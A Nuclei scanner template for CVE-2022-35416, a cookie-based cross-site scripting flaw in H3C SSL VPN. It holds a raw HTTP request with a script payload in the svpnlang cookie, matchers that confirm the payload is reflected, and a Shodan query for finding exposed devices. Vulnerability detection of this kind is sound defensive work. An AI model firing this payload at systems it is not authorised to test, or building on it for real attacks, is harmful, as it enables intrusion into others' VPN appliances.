53 lines
1.6 KiB
YAML
53 lines
1.6 KiB
YAML
id: CVE-2022-35416
|
|
|
|
info:
|
|
name: H3C SSL VPN <=2022-07-10 - Cross-Site Scripting
|
|
author: 0x240x23elu
|
|
severity: medium
|
|
description: |
|
|
H3C SSL VPN 2022-07-10 and prior contains a cookie-based cross-site scripting vulnerability in wnm/login/login.json svpnlang.
|
|
remediation: |
|
|
Apply the latest security patch or upgrade to a version of H3C SSL VPN that is not affected by this vulnerability.
|
|
reference:
|
|
- https://github.com/advisories/GHSA-9x76-78gc-r3m9
|
|
- https://github.com/Docker-droid/H3C_SSL_VPN_XSS
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-35416
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2022-35416
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00099
|
|
epss-percentile: 0.40889
|
|
cpe: cpe:2.3:a:h3c:ssl_vpn:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: h3c
|
|
product: ssl_vpn
|
|
shodan-query: http.html_hash:510586239
|
|
tags: cve,cve2022,xss,vpn,h3c
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /wnm/login/login.json HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Cookie: svpnlang=<script>alert('document.domain')</script>
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "<script>alert('document.domain')</script>"
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a004730450221008e04e3f91c92c9c62887c68dac0e4ddaa61ac391a46e12d72f28a781f9049766022070e1af96df65bff1743f5d518d030a02a65fdbd98a08f06d8e1e9e8328c19b80:922c64590222798bb761d5b6d8e72950 |